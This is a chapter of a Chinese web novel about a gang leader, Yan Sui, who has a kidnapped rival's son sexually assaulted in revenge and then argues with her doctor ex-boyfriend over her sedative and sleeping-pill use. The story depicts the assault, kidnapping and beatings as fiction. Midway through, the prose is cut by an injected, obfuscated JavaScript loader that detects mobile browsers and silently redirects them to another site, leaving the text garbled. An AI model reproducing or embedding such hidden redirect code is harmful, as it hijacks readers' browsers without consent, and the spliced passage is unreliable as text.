颜岁看着躺在地上浑身脏污的罗隽然,哪里还有当初生日宴上半点风光和不可一世。
她在他身边蹲下身来,抬起他的脸:“小少爷长得不错,听说你很爱玩,每个月都有不计其数无辜的女孩子从你房间抬出来?”
罗隽然打了个寒颤,身上的白衬衫血迹斑斑,空洞的眼睛浮现惧意。
颜岁站起身:“找个人来,好好伺候伺候我们罗少爷。”
罗隽然瞪大眼睛,往旁边爬去,泪水从眼眶里滑落,口中喃喃求饶:“不要,不要……你敢动我,我爸不会放过你的!”
颜岁坐到一边的椅子上,端起一边的杯子抿了口茶:“你觉得我会害怕吗?”
一个壮实的男人往罗隽然的方向走去。
“别过来,别碰我!别碰我!”罗隽然疯狂踢打着身上的人,封闭的昏暗环境中传来布料撕碎的声音。
“要怪就怪你父亲动了不该动的人。”颜岁饶有兴致地看着不断挣扎的小少爷。
何海城站在颜岁身后眉角抽了一下,默默移开视线。
“啊!”
罗隽然凄厉的叫声回荡,被养的身娇体贵的细嫩皮肤被掐出青紫,衬衫残破地挂在臂弯,瘦削漂亮的蝴蝶骨痉挛般抖动着。
“我要杀了你,我一定会杀了你……啊!”
“我等着。”颜岁扫了扫衣服上的尘土,从容地站起身离开。
何海城跟在颜岁身后默默出去。
隔天乔祈贺冲到颜岁的住所,门被大力推开撞击在墙上,又回弹回来。
乔祈贺满脸怒容,一掌撑在颜岁面前的桌子上:“颜岁,谁让你动他的!”
颜岁掀起眼皮,勾起唇:“怎么,罗挚丞找你告状?”
“激怒他,鱼死网破,对你有什么好处!”乔祈贺胸口起伏,怒视她。
“鱼死网破?他罗挚丞敢吗?我只是好意提醒他,别再打我身边人的主意,尽快把我的人送回来。”颜岁看着他的目光,平静道。
乔祈贺深深敛起眉,他知道颜岁是个危险的人,但没想过她的手段会这么狠辣激进。
“看来那个小裴,对你真的很重要?我看你一点都不着急,还以为你不在乎。”
颜岁笑了笑:“不管是谁,只要是我的人,谁敢动,我就让他求生不能,求死不得。”
“你有没有想过,你这么做等于给我们跟罗挚丞之间的合作埋下裂痕?”乔祈贺冷静下来,语气沉冷。
颜岁笑他天真:“我们绑架他儿子,你以为他会善罢甘休就此认了?动不动罗隽然都不会有不同,更何况他不过吃点小苦头,养两天就好了,我又没要他的命。”
“你最好别把人玩死!”乔祈贺直起身,退后一步,“我们之间是盟友,下次你有什么行动,最好提前跟我商量。”
“当然,乔总。”颜岁勾起唇,笑意不达眼底。
乔祈贺转身就走,临到门口时,又停下脚步,他回过头看她:“颜岁,你就不怕有一天这些反噬在你自己身上?”
“怕?”颜岁站起身,“乔总,走了这条路就少存点菩萨心肠,特别是对罗家这种人,我不狠,才是等着他们反扑把我们吞噬殆尽。”
乔祈贺静默,迈步离去。
一天后,裴嘉清被送了回来,他受了惊吓,神志有些不清,回来后就把自己锁在房间,一有人靠近就大声尖叫。
颜岁让人去请了诊所的医生过来,吩咐人仔细照顾。
莫书闻问是否要请林医生过来看看,被颜岁否决了。
“不准让林衍之靠近裴嘉清。”
“是。”莫书闻躬身应下。
“人既然放回来了,罗隽然那边可以停了,找人给他清理一下,身上的伤处理好,别真把人弄死了。”
“明白,我这就去安排。”
颜岁越来越忙,十天半个月见不到踪影。
陈契从外面匆匆进了小院:“林医生,海城执行任务受了伤,老大派人过来请你过去。”
林衍之立刻起身,跟着陈契去颜岁的住处。
这里人来人往,似乎多了很多生面孔。
“砰——”楼上传来瓷器碎裂的声音。
林衍之抬头,留意到楼梯口守卫森严,他记得颜岁的房间在楼上,下意识往那上走。
“干什么呢!”门口的两名守卫伸手拦住他,凶神恶煞地盯着他,“老大吩咐,严禁任何人随意上楼打扰裴先生。”
林衍之退后半步,他知道裴嘉清救回来了,但他什么情况,颜岁不准任何人透露。
“林医生?”陈契跟在他身后。
“走吧,先去看看海城。”
何海城正匍伏在座椅靠背上,他的伤在后背,此刻疼得冷汗直流。
林衍之推门进来。
“林哥。”
林衍之戴上医用手套替他揭开背上的衣服,伤口粘连布料带起皮肉。
“伤口有点深,需要缝合,没有麻醉,你得忍忍。”
“没事,老大都能忍过来,我……”何海城忙闭嘴。
林衍之动作一顿:“她受伤了?”
“没……”何海城咧着牙笑笑,飞快找说辞,“我是说……我是说之前在京岑市老大受伤那次。”
“她人呢?”林衍之边拿过器械替他缝合边问。
“老大出去了,还没回来。”
“她伤得重不重?”
“……”何海城忍着疼,知道自己说漏嘴,瞒不过,“不重,就是一个小伤口,缝了两针,她不让告诉你,林哥,你可别说是我说的。”
林衍之将带血的棉球扔进垃圾桶,放下镊子:“她……最近还好吗?”
何海城想到什么,犹豫着要不要开口。
“怎么了?”林衍之奇怪。
“老大最近整个人阴晴不定,现在队伍里人多了,偶尔会有不安分的,就昨天,有人调戏恐吓了一个女孩子,被老大知道后,差点没把人打死。”这还只是一个小例子,颜岁整治人的手段和霸道辛辣的作风让整个队伍都噤若寒蝉,资历浅一点的都不敢往她身前站。
就连他们几个心腹,也不敢随意在颜岁面前开口说话,换做以前何海城还敢跟她开两句玩笑,现在除了公事,他连屁都不敢放。
林衍之绑好纱布,摘下医用手套:“她什么时候回来?”
“不清楚,估计要等晚上。林哥,你如果要等老大的话去她房间等吧,外面人来人往杂得很,很多新来的都不认识你,裴嘉清疯了一样三天两头地作,别冲撞了你。”
林衍之迟疑了一下。
何海城解释道:“没事的,老大那房间她都快当办公室用了,我们平时汇报情况也都在她那。”
林衍之点点头,何海城虽然受了伤,还有事要忙,带他去了颜岁的房间后就离开了。
颜岁的房间在员工宿舍的顶层,这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351693|165623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层就她一个人在住,他只上次来过那么一次。
房间里是她身上熟悉的淡香,四张高低铺被拆了出去,换了张单人床摆在墙边,大概是走得急,被子有些凌乱,他走过去,俯身替她铺好床。
靠门的一侧书桌上,资料凌乱地堆在一起,他担心打乱她的顺序,只帮她规整地叠在一起,没有乱看,反倒是桌角白色的药瓶吸引了他的注意。
颜岁傍晚从外面回来,听说林衍之在等她,直奔回了房间。
她推开门进去,见他背对着她站着,开口问:“你找我?”
林衍之转过身。
颜岁的视线落到他手中,眼底轻微的笑意隐去。
“这些药,都是你在吃吗?”林衍之问,这三四个瓶子里,装有用于心理治疗的镇定剂,还有止痛药和安眠药。
颜岁反手关上门,走进来:“嗯。”
“你有医嘱吗?”林衍之皱起眉,“滥用药物会存在很大的副作用,而且容易上瘾,你知道吗颜岁?”
“我有数。”颜岁不欲多说。
“是因为他吗?”
“林衍之,我们之间这个话题过不去了是不是?”颜岁冷下脸,截断他的话。
林衍之抿起唇,安静地看着她。
这是颜岁第一次朝他那么直白地发火。
空气凝滞,颜岁转开脸,深吸一口气,缓和了语气:“现在这个环境,心里有点问题的才正常。我是人,又不是神,你别担心了。”
林衍之站在那儿没动。
颜岁也不知道该说什么,拿过他手中的药瓶扔进抽屉。
“我要住在这里。”他突然开口说。
颜岁关上抽屉的动作一顿,直起身,缓了许久才道:“分手了住前女友这,不好吧?”
林衍之深色的瞳眸望着她。
颜岁动了动唇,妥协道:“我去让陈契把隔壁房间收拾出来。”
林衍之垂下眸,弯腰将她关上的抽屉打开,将药瓶没收:“你要吃药就来找我,前男友不能留,医生总能留下吧。”
颜岁忙拦住他:“那专业也不对口啊,你至少把安眠药给我留下。”
“我每天晚上按剂量给你。”
“不用这么麻烦,你怕我吞药自杀吗?”
“那你告诉我,你到底是什么情况?”他如果今天不来,都不知道原来她的状况差到要靠药物维持。
颜岁叹气:“没你想得那么严重,我没有抑郁症也没有自杀倾向,只不过最近老做噩梦有轻微的幻觉和心悸。”
“你从什么时候开始吃这种药的?”林衍之追问。
“来到这里之后。”颜岁伸手去拿药,被他躲开。
夏汐的死是导火索。
“这些药哪来的?”
“你审犯人?”颜岁不满地推开他。
林衍之却大概猜到了:“你当时怕裴嘉清跟我说了什么,就是指这个?”
“罗挚丞的事情还没结束,你留在这里不安全。”颜岁转开话题。
林衍之终于没再追问下去,顺着她的话说道:“我有自保能力。你不是也让陈契一直在教我们练枪吗。”
颜岁有些心动,她当然也想他留下,这次给罗挚丞的威慑足够,相信他轻易不敢再动她身边人的心思。
“你说的,只是以我的个人医生的身份留下。”
林衍之抿直唇线。
“嗯。”